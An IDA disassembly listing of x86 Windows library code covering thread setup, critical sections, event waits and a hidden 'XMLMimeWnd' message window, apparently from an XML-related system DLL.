sub_69B8080F proc near ; DATA XREF: .text:69B1F234o
; .text:69B2A798o
mov eax, [ecx]
jmp dword ptr [eax+0Ch]
sub_69B8080F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80814 proc near ; CODE XREF: StartAddress+57p
; StartAddress:loc_69B80C66p ...
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
mov esi, ds:SHLWAPI_116
push edi
xor edi, edi
jmp short loc_69B80830
; ---------------------------------------------------------------------------
loc_69B80826: ; CODE XREF: sub_69B80814+29j
lea eax, [ebp+var_1C]
push eax
call ds:SHLWAPI_60
loc_69B80830: ; CODE XREF: sub_69B80814+10j
push 1
push edi
push edi
lea eax, [ebp+var_1C]
push edi
push eax
call esi ; SHLWAPI_116
test eax, eax
jnz short loc_69B80826
pop edi
pop esi
leave
retn
sub_69B80814 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B80843(DWORD nCount, LPHANDLE pHandles, BOOL fWaitAll, DWORD dwMilliseconds)
sub_69B80843 proc near ; CODE XREF: sub_69B1E533+65AEp
; sub_69B814F6+32p
var_1C = byte ptr -1Ch
nCount = dword ptr 8
pHandles = dword ptr 0Ch
fWaitAll = dword ptr 10h
dwMilliseconds = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
mov esi, MsgWaitForMultipleObjects
push 48h ; dwWakeMask
push [ebp+dwMilliseconds] ; dwMilliseconds
push [ebp+fWaitAll] ; fWaitAll
push [ebp+pHandles] ; pHandles
push [ebp+nCount] ; nCount
call esi ; MsgWaitForMultipleObjects
cmp eax, [ebp+nCount]
jnz short loc_69B808A9
push ebx
push edi
mov edi, ds:SHLWAPI_116
mov ebx, 800Ah
jmp short loc_69B8087E
; ---------------------------------------------------------------------------
loc_69B80874: ; CODE XREF: sub_69B80843+4Dj
lea eax, [ebp+var_1C]
push eax
call ds:SHLWAPI_60
loc_69B8087E: ; CODE XREF: sub_69B80843+2Fj
; sub_69B80843+62j
push 1
push 800Ch
push ebx
lea eax, [ebp+var_1C]
push 0
push eax
call edi ; SHLWAPI_116
test eax, eax
jnz short loc_69B80874
push 48h ; dwWakeMask
push [ebp+dwMilliseconds] ; dwMilliseconds
push [ebp+fWaitAll] ; fWaitAll
push [ebp+pHandles] ; pHandles
push [ebp+nCount] ; nCount
call esi ; MsgWaitForMultipleObjects
cmp eax, [ebp+nCount]
jz short loc_69B8087E
pop edi
pop ebx
loc_69B808A9: ; CODE XREF: sub_69B80843+20j
pop esi
leave
retn 10h
sub_69B80843 endp
; =============== S U B R O U T I N E =======================================
sub_69B808AE proc near ; CODE XREF: sub_69B808E7+14p
; sub_69B80B3C+1Dp ...
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
xor edi, edi
call ds:EnterCriticalSection
mov eax, [esi]
test eax, eax
jz short loc_69B808D7
mov ecx, [esp+8+arg_0]
test ecx, ecx
jz short loc_69B808D7
lea edx, [ecx-1]
cmp edx, [esi+8]
jnb short loc_69B808D7
mov edi, [eax+ecx*8-8]
loc_69B808D7: ; CODE XREF: sub_69B808AE+13j
; sub_69B808AE+1Bj ...
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, edi
pop edi
pop esi
retn 4
sub_69B808AE endp
; =============== S U B R O U T I N E =======================================
sub_69B808E7 proc near ; CODE XREF: sub_69B80B11+12p
; sub_69B81C44+1Bp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
push dword ptr [edi+4] ; lpCriticalSection
call ds:EnterCriticalSection
mov esi, [esp+8+arg_0]
push esi
mov ecx, edi
call sub_69B808AE
test eax, eax
jz short loc_69B8091E
mov eax, [edi]
lea esi, [eax+esi*8-8]
dec dword ptr [esi+4]
jnz short loc_69B8091A
push dword ptr [esi] ; hWnd
call DestroyWindow ; DestroyWindow
and dword ptr [esi], 0
loc_69B8091A: ; CODE XREF: sub_69B808E7+26j
xor esi, esi
jmp short loc_69B80923
; ---------------------------------------------------------------------------
loc_69B8091E: ; CODE XREF: sub_69B808E7+1Bj
mov esi, 80004005h
loc_69B80923: ; CODE XREF: sub_69B808E7+35j
push dword ptr [edi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn 4
sub_69B808E7 endp
; =============== S U B R O U T I N E =======================================
sub_69B80933 proc near ; CODE XREF: sub_69B80D36+3Ep
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
xor edi, edi
call ds:EnterCriticalSection
mov eax, [esi]
test eax, eax
jz short loc_69B8096A
mov ecx, eax
mov eax, [esi+8]
xor edx, edx
test eax, eax
jbe short loc_69B8096A
push ebx
loc_69B80954: ; CODE XREF: sub_69B80933+2Fj
mov ebx, [ecx]
cmp ebx, [esp+0Ch+arg_0]
jz short loc_69B80966
inc edx
add ecx, 8
cmp edx, eax
jb short loc_69B80954
jmp short loc_69B80969
; ---------------------------------------------------------------------------
loc_69B80966: ; CODE XREF: sub_69B80933+27j
xor edi, edi
inc edi
loc_69B80969: ; CODE XREF: sub_69B80933+31j
pop ebx
loc_69B8096A: ; CODE XREF: sub_69B80933+13j
; sub_69B80933+1Ej
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, edi
pop edi
pop esi
retn 4
sub_69B80933 endp
; =============== S U B R O U T I N E =======================================
sub_69B8097A proc near ; DATA XREF: .text:off_69B14648o
arg_0 = byte ptr 4
test [esp+arg_0], 1
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B14648
jz short loc_69B80990
push esi
call sub_69B1B2B7
loc_69B80990: ; CODE XREF: sub_69B8097A+Ej
mov eax, esi
pop esi
retn 4
sub_69B8097A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80996 proc near ; CODE XREF: sub_69B80D36+4Dp
; sub_69B81DDF+3Ep
var_20 = word ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+24h], edi
jz loc_69B80A39
cmp [esi+2Ch], edi
jz short loc_69B809BB
lea eax, [esi+34h]
push eax ; lpCriticalSection
call ds:EnterCriticalSection
loc_69B809BB: ; CODE XREF: sub_69B80996+19j
mov edi, [esi+10h]
sub edi, [esi+14h]
xor ebx, ebx
inc ebx
cmp [ebp+arg_0], 2
jnz short loc_69B809CE
mov [esi+1Eh], bl
loc_69B809CE: ; CODE XREF: sub_69B80996+33j
cmp dword ptr [esi+2Ch], 0
jz short loc_69B809DE
lea eax, [esi+34h]
push eax ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B809DE: ; CODE XREF: sub_69B80996+3Cj
test edi, edi
jnz short loc_69B809EC
cmp [ebp+arg_0], bx
jnz short loc_69B809EC
xor eax, eax
jmp short loc_69B80A4F
; ---------------------------------------------------------------------------
loc_69B809EC: ; CODE XREF: sub_69B80996+4Aj
; sub_69B80996+50j
call sub_69B8062D
or [ebp+var_14], 0FFFFFFFFh
mov [ebp+var_20], ax
xor eax, eax
cmp [ebp+arg_0], ax
mov [ebp+var_1C], eax
mov [ebp+var_18], ebx
mov [ebp+var_10], eax
mov [ebp+var_C], 4
mov [ebp+var_8], esi
mov [ebp+var_4], eax
jz short loc_69B80A24
cmp [ebp+arg_0], bx
setnz al
lea eax, [eax+eax+2]
mov ebx, eax
loc_69B80A24: ; CODE XREF: sub_69B80996+7Fj
mov eax, [esi+24h]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
lea edx, [ebp+var_20]
push edx
push edi
push ebx
push eax
call dword ptr [ecx+24h]
mov edi, eax
loc_69B80A39: ; CODE XREF: sub_69B80996+10j
cmp [ebp+arg_0], 2
jnz short loc_69B80A4D
mov ecx, esi
call sub_69B8060F
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B80A4D: ; CODE XREF: sub_69B80996+A8j
mov eax, edi
loc_69B80A4F: ; CODE XREF: sub_69B80996+54j
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B80996 endp
; =============== S U B R O U T I N E =======================================
sub_69B80A56 proc near ; CODE XREF: sub_69B1E4CF+664Ep
push esi
mov esi, ecx
call sub_69B806C5
mov eax, [esi]
test eax, eax
jz short loc_69B80A6A
push eax
call sub_69B1B2B7
loc_69B80A6A: ; CODE XREF: sub_69B80A56+Cj
and dword ptr [esi], 0
pop esi
retn
sub_69B80A56 endp
; =============== S U B R O U T I N E =======================================
sub_69B80A6F proc near ; CODE XREF: sub_69B80AE7+1Ap
; sub_69B826F2+8Dp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
xor ebp, ebp
call ds:EnterCriticalSection
mov eax, [esi+0Ch]
cmp [esi+8], eax
jnz short loc_69B80AC4
lea edi, [eax+0Ah]
mov eax, edi
shl eax, 2
push eax
call sub_69B11E44
mov ebx, eax
test ebx, ebx
jz short loc_69B80AD5
mov eax, [esi]
test eax, eax
mov [esi+0Ch], edi
jz short loc_69B80AC2
mov ecx, [esi+8]
shl ecx, 2
push ecx
push eax
push ebx
call sub_69B22103
mov eax, [esi]
add esp, 0Ch
test eax, eax
jz short loc_69B80AC2
push eax
call sub_69B1B2B7
loc_69B80AC2: ; CODE XREF: sub_69B80A6F+34j
; sub_69B80A6F+4Bj
mov [esi], ebx
loc_69B80AC4: ; CODE XREF: sub_69B80A6F+17j
mov ecx, [esi+8]
mov eax, [esp+10h+arg_0]
mov edx, [esi]
mov [edx+ecx*4], eax
inc dword ptr [esi+8]
mov ebp, eax
loc_69B80AD5: ; CODE XREF: sub_69B80A6F+2Bj
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
retn 4
sub_69B80A6F endp
; =============== S U B R O U T I N E =======================================
sub_69B80AE7 proc near ; CODE XREF: StartAddress+8Bp
push esi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, esi
call sub_69B80662
test eax, eax
jz short loc_69B80B06
push eax
mov ecx, esi
call sub_69B80A6F
loc_69B80B06: ; CODE XREF: sub_69B80AE7+15j
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
pop esi
retn
sub_69B80AE7 endp
; =============== S U B R O U T I N E =======================================
sub_69B80B11 proc near ; CODE XREF: sub_69B80F68+3p
; sub_69B80FD0+11j
push esi
mov esi, ecx
push dword ptr [esi+4]
mov dword ptr [esi], offset off_69B14660
mov ecx, dword_69B95AD8
call sub_69B808E7
mov dword ptr [esi], offset off_69B14648
pop esi
retn
sub_69B80B11 endp
; =============== S U B R O U T I N E =======================================
sub_69B80B30 proc near ; DATA XREF: .text:69B14674o
; .text:69B15430o ...
mov eax, [ecx+4]
retn
sub_69B80B30 endp
; =============== S U B R O U T I N E =======================================
sub_69B80B34 proc near ; DATA XREF: .text:69B14670o
; .text:69B2A7A0o
mov dword ptr [ecx+8], 1
retn
sub_69B80B34 endp
; =============== S U B R O U T I N E =======================================
sub_69B80B3C proc near ; CODE XREF: sub_69B80FD0+9p
; DATA XREF: .text:69B2A79Co
push esi
mov esi, ecx
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B80B76
call sub_69B82A4C
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+14h]
mov ecx, dword_69B95AD8
push eax
call sub_69B808AE
push esi
push 0
push 800Ch
push eax
call ds:SHLWAPI_136
push dword ptr [esi+14h] ; hEvent
call ds:SetEvent ; SetEvent
loc_69B80B76: ; CODE XREF: sub_69B80B3C+8j
pop esi
retn
sub_69B80B3C endp
; =============== S U B R O U T I N E =======================================
sub_69B80B78 proc near ; CODE XREF: sub_69B80CF6+33p
push esi
mov esi, ecx
push edi
mov edi, [esi+10h]
test edi, edi
jz short loc_69B80B94
and dword ptr [esi+10h], 0
mov ecx, edi
call sub_69B827FE
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B80B94: ; CODE XREF: sub_69B80B78+9j
lea eax, [esi+0Ch]
cmp dword ptr [eax], 0
pop edi
pop esi
jz short locret_69B80BA4
push eax
call sub_69B17230
locret_69B80BA4: ; CODE XREF: sub_69B80B78+24j
retn
sub_69B80B78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall StartAddress(LPVOID)
StartAddress proc near ; DATA XREF: sub_69B80D8E+39o
var_C = byte ptr -0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call ds:GetCurrentThreadId ; GetCurrentThreadId
xor edi, edi
push edi ; pvReserved
mov dword_69B9B6B8, eax
call ds:CoInitialize
push 0FFFFFFFFh ; nPriority
call ds:GetCurrentThread ; GetCurrentThread
push eax ; hThread
call ds:SetThreadPriority ; SetThreadPriority
loc_69B80BD1: ; CODE XREF: StartAddress+5Cj
; StartAddress+F2j
push 0FFh ; dwWakeMask
push 0FFFFFFFFh ; dwMilliseconds
push edi ; fWaitAll
push offset pHandles ; pHandles
push 2 ; nCount
call MsgWaitForMultipleObjects ; MsgWaitForMultipleObjects
sub eax, edi
jz loc_69B80C76
dec eax
jz loc_69B80C9C
dec eax
jnz loc_69B80CE1
call sub_69B80814
jmp short loc_69B80BD1
; ---------------------------------------------------------------------------
loc_69B80C03: ; CODE XREF: StartAddress+E0j
call dword_69B92948
mov ebx, eax
cmp ebx, edi
jz short loc_69B80C66
push edi
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4]
sub eax, edi
jz short loc_69B80C40
dec eax
jz short loc_69B80C37
dec eax
jnz short loc_69B80C5E
mov ecx, dword_69B95ADC
call sub_69B80AE7
jmp short loc_69B80C5E
; ---------------------------------------------------------------------------
loc_69B80C37: ; CODE XREF: StartAddress+80j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0Ch]
jmp short loc_69B80C47
; ---------------------------------------------------------------------------
loc_69B80C40: ; CODE XREF: StartAddress+7Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
loc_69B80C47: ; CODE XREF: StartAddress+99j
mov ecx, dword_69B95ADC
call sub_69B80662
cmp eax, edi
jz short loc_69B80C5E
mov edx, [eax]
mov ecx, eax
push 1
call dword ptr [edx]
loc_69B80C5E: ; CODE XREF: StartAddress+83j
; StartAddress+90j ...
lea ecx, [ebp+var_C]
call sub_69B1976C
loc_69B80C66: ; CODE XREF: StartAddress+68j
call sub_69B80814
cmp ebx, edi
jz short loc_69B80C76
push ebx
call dword_69B92944
loc_69B80C76: ; CODE XREF: StartAddress+43j
; StartAddress+C8j
mov ecx, dword_69B95ADC
call sub_69B8069F
mov esi, eax
cmp esi, edi
jnz loc_69B80C03
push pHandles ; hEvent
call ds:ResetEvent ; ResetEvent
jmp loc_69B80BD1
; ---------------------------------------------------------------------------
loc_69B80C9C: ; CODE XREF: StartAddress+4Aj
call dword_69B92948
mov esi, eax
cmp esi, edi
jz short loc_69B80CC5
push edi
push esi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, dword_69B95ADC
call sub_69B806C5
lea ecx, [ebp+var_C]
call sub_69B1976C
loc_69B80CC5: ; CODE XREF: StartAddress+101j
call sub_69B80814
push hEvent ; hEvent
call ds:ResetEvent ; ResetEvent
cmp esi, edi
jz short loc_69B80CE1
push esi
call dword_69B92944
loc_69B80CE1: ; CODE XREF: StartAddress+51j
; StartAddress+133j
call ds:CoUninitialize
mov dword_69B9B6B8, edi
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
StartAddress endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80CF6 proc near ; CODE XREF: sub_69B80D36+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
push edi
mov edi, ds:SHLWAPI_116
mov esi, 800Ah
jmp short loc_69B80D15
; ---------------------------------------------------------------------------
loc_69B80D0B: ; CODE XREF: sub_69B80CF6+2Ej
lea eax, [ebp+var_1C]
push eax
call ds:SHLWAPI_60
loc_69B80D15: ; CODE XREF: sub_69B80CF6+13j
push 1
push esi
push esi
push [ebp+arg_0]
lea eax, [ebp+var_1C]
push eax
call edi ; SHLWAPI_116
test eax, eax
jnz short loc_69B80D0B
mov ecx, [ebp+arg_4]
call sub_69B80B78
pop edi
xor eax, eax
pop esi
leave
retn 8
sub_69B80CF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80D36 proc near ; DATA XREF: sub_69B80FE6+60o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
sub eax, 800Ah
jz short loc_69B80D67
dec eax
jz short loc_69B80D5D
dec eax
jz short loc_69B80D50
pop ebp
jmp ds:SHLWAPI_56
; ---------------------------------------------------------------------------
loc_69B80D50: ; CODE XREF: sub_69B80D36+11j
push [ebp+arg_C]
push [ebp+arg_0]
call sub_69B80CF6
jmp short loc_69B80D8A
; ---------------------------------------------------------------------------
loc_69B80D5D: ; CODE XREF: sub_69B80D36+Ej
mov ecx, [ebp+arg_C]
call sub_69B81A7A
jmp short loc_69B80D88
; ---------------------------------------------------------------------------
loc_69B80D67: ; CODE XREF: sub_69B80D36+Bj
mov ecx, dword_69B95AD8
test ecx, ecx
jz short loc_69B80D88
push [ebp+arg_0]
call sub_69B80933
test eax, eax
jz short loc_69B80D88
push [ebp+arg_8]
mov ecx, [ebp+arg_C]
call sub_69B80996
loc_69B80D88: ; CODE XREF: sub_69B80D36+2Fj
; sub_69B80D36+39j ...
xor eax, eax
loc_69B80D8A: ; CODE XREF: sub_69B80D36+25j
pop ebp
retn 10h
sub_69B80D36 endp
; =============== S U B R O U T I N E =======================================
sub_69B80D8E proc near ; CODE XREF: sub_69B80FE6+DEp
ThreadId = dword ptr -4
push ecx
push esi
push edi
xor edi, edi
cmp dword_69B95AE0, edi
mov esi, offset CriticalSection
jnz short loc_69B80DB1
push esi ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov dword_69B95AE0, 1
loc_69B80DB1: ; CODE XREF: sub_69B80D8E+10j
push esi ; lpCriticalSection
call ds:EnterCriticalSection
cmp dword_69B95AF0, edi
jnz short loc_69B80DE6
lea eax, [esp+0Ch+ThreadId]
push eax ; lpThreadId
push edi ; dwCreationFlags
push edi ; lpParameter
push offset StartAddress ; lpStartAddress
push 7D000h ; dwStackSize
push edi ; lpThreadAttributes
call ds:CreateThread ; CreateThread
cmp eax, edi
mov dword_69B95AF0, eax
jnz short loc_69B80DE6
mov edi, 80004005h
loc_69B80DE6: ; CODE XREF: sub_69B80D8E+30j
; sub_69B80D8E+51j
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, edi
pop edi
pop esi
pop ecx
retn
sub_69B80D8E endp
; =============== S U B R O U T I N E =======================================
sub_69B80DF3 proc near ; CODE XREF: sub_69B1E4CF+66A1p
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_69B80E02
push eax
call sub_69B1B2B7
loc_69B80E02: ; CODE XREF: sub_69B80DF3+7j
and dword ptr [esi], 0
pop esi
retn
sub_69B80DF3 endp
; =============== S U B R O U T I N E =======================================
sub_69B80E07 proc near ; CODE XREF: sub_69B826F2+37p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebx
push ebp
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
xor edi, edi
mov [esp+1Ch+var_4], edi
call ds:EnterCriticalSection
mov eax, [esi]
xor ebx, ebx
cmp eax, edi
jz short loc_69B80E38
cmp [esi+8], edi
jbe short loc_69B80E38
loc_69B80E2B: ; CODE XREF: sub_69B80E07+2Fj
cmp [eax], edi
jz short loc_69B80E38
inc ebx
add eax, 8
cmp ebx, [esi+8]
jb short loc_69B80E2B
loc_69B80E38: ; CODE XREF: sub_69B80E07+1Dj
; sub_69B80E07+22j ...
mov ebp, [esi+8]
cmp ebx, ebp
jnz short loc_69B80EA4
add ebp, 0Ah
mov edi, ebp
shl edi, 3
push edi
call sub_69B11E44
mov edx, eax
test edx, edx
mov [esp+18h+var_8], edx
jz loc_69B80EEF
mov ecx, edi
mov edi, edx
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, [esi]
test eax, eax
mov [esi+8], ebp
jz short loc_69B80E9C
mov edi, [esp+18h+var_8]
mov ecx, ebx
shl ecx, 3
push ecx
push eax
push edi
call sub_69B22103
mov eax, [esi]
add esp, 0Ch
test eax, eax
jz short loc_69B80E98
push eax
call sub_69B1B2B7
loc_69B80E98: ; CODE XREF: sub_69B80E07+89j
mov [esi], edi
jmp short loc_69B80EA2
; ---------------------------------------------------------------------------
loc_69B80E9C: ; CODE XREF: sub_69B80E07+6Fj
mov eax, [esp+18h+var_8]
mov [esi], eax
loc_69B80EA2: ; CODE XREF: sub_69B80E07+93j
xor edi, edi
loc_69B80EA4: ; CODE XREF: sub_69B80E07+36j
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
push edi ; lpParam
push hModule ; hInstance
push edi ; hMenu
push edi ; hWndParent
push edi ; nHeight
push edi ; nWidth
push edi ; Y
push edi ; X
push 80000000h ; dwStyle
push edi ; lpWindowName
push offset ClassName ; "XMLMimeWnd"
push edi ; dwExStyle
call CreateWindowExA ; CreateWindowExA
mov ebp, eax
cmp ebp, edi
jz short loc_69B80EF8
push dword ptr [esi+4] ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, [esi]
mov [eax+ebx*8], ebp
mov eax, [esi]
mov dword ptr [eax+ebx*8+4], 1
inc ebx
mov [esp+18h+var_4], ebx
loc_69B80EEF: ; CODE XREF: sub_69B80E07+4Ej
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B80EF8: ; CODE XREF: sub_69B80E07+C9j
mov eax, [esp+18h+var_4]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_69B80E07 endp
; =============== S U B R O U T I N E =======================================
sub_69B80F03 proc near ; CODE XREF: sub_69B80F42+17p
; sub_69B82198+16p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; lpCriticalSection
mov ebx, 80004005h
call ds:EnterCriticalSection
mov edi, [esp+0Ch+arg_0]
push edi
mov ecx, esi
call sub_69B808AE
test eax, eax
jz short loc_69B80F31
mov eax, [esi]
lea eax, [eax+edi*8-8]
inc dword ptr [eax+4]
xor ebx, ebx
loc_69B80F31: ; CODE XREF: sub_69B80F03+21j
push dword ptr [esi+4] ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
mov eax, ebx
pop ebx
retn 4
sub_69B80F03 endp
; =============== S U B R O U T I N E =======================================
sub_69B80F42 proc near ; CODE XREF: sub_69B80F83+9p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B14660
mov [esi+4], eax
mov ecx, dword_69B95AD8
push eax
call sub_69B80F03
and dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_69B80F42 endp
; =============== S U B R O U T I N E =======================================
sub_69B80F68 proc near ; DATA XREF: .text:off_69B14660o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B80B11
test [esp+4+arg_0], 1
jz short loc_69B80F7D
push esi
call sub_69B1B2B7
loc_69B80F7D: ; CODE XREF: sub_69B80F68+Dj
mov eax, esi
pop esi
retn 4
sub_69B80F68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80F83 proc near ; CODE XREF: sub_69B826F2+77p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
push [ebp+arg_0]
mov esi, ecx
call sub_69B80F42
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_8]
and dword ptr [esi+1Ch], 0
mov [esi+14h], eax
mov eax, [ebp+arg_4]
mov dword ptr [esi], offset off_69B2A790
mov dword ptr [esi+18h], 1
mov [esi+0Ch], eax
mov [esi+10h], ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [esi+10h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+arg_10]
mov [esi+20h], eax
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B80F83 endp
; =============== S U B R O U T I N E =======================================
sub_69B80FD0 proc near ; CODE XREF: sub_69B810D5+3p
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B2A790
call sub_69B80B3C
mov ecx, esi
pop esi
jmp sub_69B80B11
sub_69B80FD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B80FE6 proc near ; CODE XREF: sub_69B826F2+16p
WndClass = WNDCLASSA ptr -28h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
mov ebx, ds:InitializeCriticalSection
push esi
xor esi, esi
cmp dword_69B95AD8, esi
push edi
jnz short loc_69B81027
mov edi, offset stru_69B9B6A0
push edi ; lpCriticalSection
call ebx ; InitializeCriticalSection
push 0Ch
call sub_69B11E44
cmp eax, esi
jz short loc_69B8101C
mov [eax], esi
mov [eax+4], edi
mov [eax+8], esi
jmp short loc_69B8101E
; ---------------------------------------------------------------------------
loc_69B8101C: ; CODE XREF: sub_69B80FE6+2Aj
xor eax, eax
loc_69B8101E: ; CODE XREF: sub_69B80FE6+34j
cmp eax, esi
mov dword_69B95AD8, eax
jz short loc_69B81098
loc_69B81027: ; CODE XREF: sub_69B80FE6+17j
cmp word_69B95AEC, si
jnz short loc_69B81065
push 0Ah
xor eax, eax
pop ecx
lea edi, [ebp+WndClass]
rep stosd
mov eax, hModule
mov [ebp+WndClass.hInstance], eax
lea eax, [ebp+WndClass]
push eax ; lpWndClass
mov [ebp+WndClass.lpfnWndProc], offset sub_69B80D36
mov [ebp+WndClass.lpszClassName], offset ClassName ; "XMLMimeWnd"
call RegisterClassA ; RegisterClassA
cmp ax, si
mov word_69B95AEC, ax
jz short loc_69B810CE
loc_69B81065: ; CODE XREF: sub_69B80FE6+48j
cmp dword_69B95ADC, esi
jnz short loc_69B8109F
mov edi, offset stru_69B9B688
push edi ; lpCriticalSection
call ebx ; InitializeCriticalSection
push 10h
call sub_69B11E44
cmp eax, esi
jz short loc_69B8108D
mov [eax], esi
mov [eax+4], edi
mov [eax+0Ch], esi
mov [eax+8], esi
jmp short loc_69B8108F
; ---------------------------------------------------------------------------
loc_69B8108D: ; CODE XREF: sub_69B80FE6+98j
xor eax, eax
loc_69B8108F: ; CODE XREF: sub_69B80FE6+A5j
cmp eax, esi
mov dword_69B95ADC, eax
jnz short loc_69B8109F
loc_69B81098: ; CODE XREF: sub_69B80FE6+3Fj
mov eax, 8007000Eh
jmp short loc_69B810C9
; ---------------------------------------------------------------------------
loc_69B8109F: ; CODE XREF: sub_69B80FE6+85j
; sub_69B80FE6+B0j
mov edi, offset pHandles
loc_69B810A4: ; CODE XREF: sub_69B80FE6+DCj
cmp [edi], esi
jnz short loc_69B810B9
push esi ; lpName
push esi ; bInitialState
push 1 ; bManualReset
push esi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov [edi], eax
jz short loc_69B810CE
loc_69B810B9: ; CODE XREF: sub_69B80FE6+C0j
add edi, 4
cmp edi, offset word_69B95AEC
jl short loc_69B810A4
call sub_69B80D8E
loc_69B810C9: ; CODE XREF: sub_69B80FE6+B7j
; sub_69B80FE6+EDj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B810CE: ; CODE XREF: sub_69B80FE6+7Dj
; sub_69B80FE6+D1j
mov eax, 80004005h
jmp short loc_69B810C9
sub_69B80FE6 endp
; =============== S U B R O U T I N E =======================================
sub_69B810D5 proc near ; DATA XREF: .text:off_69B2A790o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B80FD0
test [esp+4+arg_0], 1
jz short loc_69B810EA
push esi
call sub_69B1B2B7
loc_69B810EA: ; CODE XREF: sub_69B810D5+Dj
mov eax, esi
pop esi
retn 4
sub_69B810D5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B8110C
loc_69B810F0: ; CODE XREF: sub_69B8110C+12j
mov eax, [ecx+2Ch]
test eax, eax
mov byte ptr [ecx+30h], 1
jz short locret_69B8110B
mov ecx, dword_69B95ADC
test ecx, ecx
jz short locret_69B8110B
push eax
call sub_69B8070D
locret_69B8110B: ; CODE XREF: sub_69B8110C-13j
; sub_69B8110C-9j
retn
; END OF FUNCTION CHUNK FOR sub_69B8110C
; =============== S U B R O U T I N E =======================================
sub_69B8110C proc near ; CODE XREF: sub_69B814F6+1Dp
; FUNCTION CHUNK AT 69B810F0 SIZE 0000001C BYTES
cmp dword ptr [ecx+28h], 0
jz short locret_69B81120
mov dword ptr [ecx+2Ch], 1
mov ecx, [ecx+30h]
test ecx, ecx
jnz short loc_69B810F0
locret_69B81120: ; CODE XREF: sub_69B8110C+4j
retn
sub_69B8110C endp
